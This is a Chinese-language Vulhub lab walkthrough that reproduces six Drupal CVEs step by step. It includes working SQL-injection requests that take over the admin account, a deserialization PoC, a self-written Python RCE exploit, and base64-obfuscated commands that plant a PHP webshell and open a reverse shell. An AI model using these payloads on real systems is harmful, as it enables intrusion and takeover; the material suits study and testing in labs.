Vulhub 漏洞学习之:Drupal
Vulhub 漏洞学习之:Drupal
1 Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。
1.1 环境安装
环境启动后,访问http://your-ip:8080
即可看到Drupal的安装页面,使用默认配置安装即可。
其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
1.2 漏洞利用过程
-
构造如下Payload即可执行恶意SQL语句
POST /?q=node&destination=node HTTP/1.1 Host: 192.168.210.13:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
-
利用 SQL 错误语句打印当前用户
-
将原来id为1的管理,替换成名字为owned,密码是thanks的管理员。
POST /?q=node&destination=node HTTP/1.1 Host: 192.168.210.13:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 211 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a
旧管理账号已经无法登录
2 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
影响版本:版本号是 8.x,且版本号低于 8.3.4
参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
2.1 环境安装
2.1.1 安装drupal
- 环境启动后,访问
http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。其他根据需要配置
2.1.2 安装yaml扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
2.2 漏洞利用过程
-
登录一个管理员账号
-
访问
http://your-ip:8080/admin/config/development/configuration/single/import
-
Configuration type
选择Simple configuration
,Configuration name
任意填写,Paste your configuration here
中填写PoC如下:!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
-
点击
Import
后可以看到漏洞触发成功,弹出phpinfo
页面。
3 Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
影响版本:6/7/8版本
参考链接:Uncovering Drupalgeddon 2 - Check Point Research
3.1 环境安装
- 环境启动后,访问
http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
3.2 漏洞利用过程
-
漏洞利用exp下载:
a2u/CVE-2018-7600: 💀Proof-of-Concept for CVE-2018-7600 Drupal SA-CORE-2018-002 (github.com)
-
通过构造请求数据包执行命令
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: 192.168.210.13:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
-
自己编写的exp
import requests, argparse def get_request(target, cmd): uri = "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" url = target + uri payload = {"form_id": "user_register_form", "_drupal_ajax": 1, "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": cmd} req = requests.post(url=url, data=payload) get_cmd = req.json()[0]["data"].split("<span")[0] return get_cmd if __name__ == '__main__': parser = argparse.ArgumentParser(description='drupa-CVE-2018-7600-exp') parser.add_argument('-t', '--target', type=str, help='http://127.0.0.1:8080') parser.add_argument('-c', '--cmd', type=str, help='execute command') args = parser.parse_args() exec_cmd = get_request(args.target, args.cmd) print(exec_cmd)
-
上传webshell
# <?php @eval($_POST['acmd']); ?> python .\main.py -t http://192.168.210.13:8080 -c 'echo PD9waHAgQGV2YWwoJF9QT1NUWydhY21kJ10pOyA/Pg== | base64 -d | tee shell.php'
-
反弹shell
# 这样反弹不了,原因是通过exp脚本执行完该命令后,会结束此次进程,连接的会话也因进程的结束而断开 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA==}|{base64,-d}|{bash,-i} # 使用以下命令反弹成功 # echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA== | base64 -d | bash -i python .\main.py -t http://192.168.210.13:8080 -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA== | base64 -d | bash -i'
4 Drupal 远程代码执行漏洞(CVE-2018-7602)
4.1 环境安装
- 影响版本:Drupal < 7.58,Drupal < 8.3.9,Drupal < 8.4.6,Drupal < 8.5.1
- 方式: 此漏洞源于对编号为CVE-2018-7600的漏洞修复不完全,对URL中的#进行编码两次,绕过sanitize()函数过滤,导致补丁被绕过。
- 效果:任意命令执行
环境启动后,访问http://your-ip:8081/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
4.2 漏洞利用过程
-
exp下载:pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600 (github.com)
python cve-2018-7602.py -c "id" drupal Admin123 http://192.168.210.13:8081/
-
上传webshell
# <?php @eval($_POST['acmd']); ?> python cve-2018-7602.py -c 'echo PD9waHAgQGV2YWwoJF9QT1NUWydhY21kJ10pOyA/Pg== | base64 -d | tee shell.php' drupal Admin123 http://192.168.210.13:8081/
5 Drupal 远程代码执行漏洞(CVE-2019-6339)
参考链接:Drupal 1-click to RCE 分析 (seebug.org)
参考链接:Drupal 1-click to RCE 分析 (seebug.org)
5.1 环境安装
环境启动后,访问http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
5.2 漏洞利用过程
-
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。
-
上传的文件路径:
http://192.168.210.13:8080/sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg
-
访问
http://your-iop:8080/admin/config/media/file-system
,在Temporary directory
处输入之前上传的图片路径,示例为phar://./sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg
,http://192.168.210.13:8080/admin/config/media/file-system phar://./sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg
-
保存后将触发该漏洞。如下图所示,触发成功。
6 Drupal XSS漏洞(CVE-2019-6341)
通过文件模块或者子系统上传恶意文件触发XSS漏洞,从而进行JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
6.1 环境安装
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
6.2 漏洞利用过程
-
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
-
Drupal 的图片默认存储位置为
/sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。 -
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。输入如下命令,即可使用PoC构造样本并完成上传功能。
php blog-poc.php 192.168.210.13 # 此处端口为8080,需要在blog-poc.php文件中进行修改
-
访问图片页面,产生弹窗
http://192.168.210.13:8080/sites/default/files/pictures/2022-02/_0
-
Tips:
-
因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。
-
访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析
-